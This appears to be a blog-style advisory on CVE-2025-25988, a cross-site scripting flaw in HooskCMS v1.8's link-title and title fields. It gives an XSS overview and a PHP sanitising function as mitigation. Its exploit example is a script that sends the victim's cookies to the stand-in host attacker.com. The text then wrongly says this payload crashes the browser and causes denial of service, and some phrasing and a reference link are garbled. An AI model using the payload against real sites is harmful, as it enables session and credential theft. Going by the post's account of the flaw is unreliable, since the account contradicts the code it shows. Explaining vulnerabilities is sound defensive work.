Hoosk, a lightweight, powerful Content Management System (CMS) primarily designed for creating beautiful and functional websites, has recently been found to have a significant vulnerability in its version 1.8. This newly discovered Cross Site Scripting (XSS) vulnerability allows a remote attacker to execute malicious scripts on a victim's web browser and subsequently cause a Denial of Service (DoS) attack. The vulnerability primarily affects the vulnerability in hooskcms v.1.8 'custom Link title' parameter and the 'Title' parameter.

In this post, we will take a closer look at the details of this vulnerability (CVE-2025-25988), including a brief overview of XSS, the exploit, and how it can be mitigated. We will also provide links to original references, allowing you to dive deeper into the issue if desired.

Cross Site Scripting (XSS) Vulnerability Overview

Cross Site Scripting (XSS) is a common security vulnerability that allows an attacker to inject malicious code into a victim's browser. This malicious code is executed within the context of the affected website, potentially leading to stolen user credentials or any other harmful outcome. The vulnerability occurs when website applications do not properly validate user input and blindly trust data provided by the user.

Exploit Details

This XSS vulnerability in HooskCMS v1.8 is found in the 'custom Link title' and 'Title' parameters of the application. The vulnerability permits an attacker to insert a malicious script as the custom link title or the title of the post, which gives them the ability to trigger a DoS attack on the affected application. The remote attacker could exploit this vulnerability to potentially bypass the same-origin policy and lead to unauthorized access to sensitive information or control of the targeted website.

The following code snipplet demonstrates how an attacker could exploit the vulnerability by simply modifying the 'custom Link title' parameter to include their JavaScript payload:

<script>
    window.location='http://attacker.com/?cookie='+document.cookie;
</script>

Once the payload is executed within the victim's browser, it could cause the victim's client to crash, leading to a Denial of Service attack.

For more information on the vulnerability, you can explore the following references

1. Official CVE Details
2. HooskCMS v1.8 GitHub Repository
3. OWASP Foundation - Cross Site Scripting Prevention_Prevention_Cheat_Sheet)

Mitigating the Vulnerability

To avoid this vulnerability from being exploited, it is crucial for developers to properly validate and sanitize user input. The primary step to defend against XSS attacks is to implement proper input validation, which involves filtering out potentially dangerous characters and controlling input values to make sure they match the expected data types and formats.

One available approach to prevent such XSS attacks is by encoding user-supplied data using a secure encoding mechanism. For example, developers can leverage the htmlspecialchars() function in PHP to prevent the execution of malicious scripts.

function sanitize_input($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data);
    return $data;
}

It is also highly recommended to follow security best practices from organizations such as the OWASP Foundation, which provides comprehensive guidelines on how to prevent XSS vulnerabilities.

Conclusion

The Cross Site Scripting vulnerability found in HooskCMS v1.8 (CVE-2025-25988) leading to Denial of Service attacks highlights the importance of securing web applications from XSS vulnerabilities. By applying proper input validation, sanitization, and secure encoding mechanisms, developers can significantly reduce the risk of such vulnerabilities and enhance the security of their web applications.

By staying informed about ongoing security threats and best practices, developers can ensure that they are well-equipped to prevent new vulnerabilities from compromising their applications and exposing their users to potential harm.

Timeline

Published on: 02/14/2025 17:15:21 UTC
Last modified on: 02/14/2025 19:15:14 UTC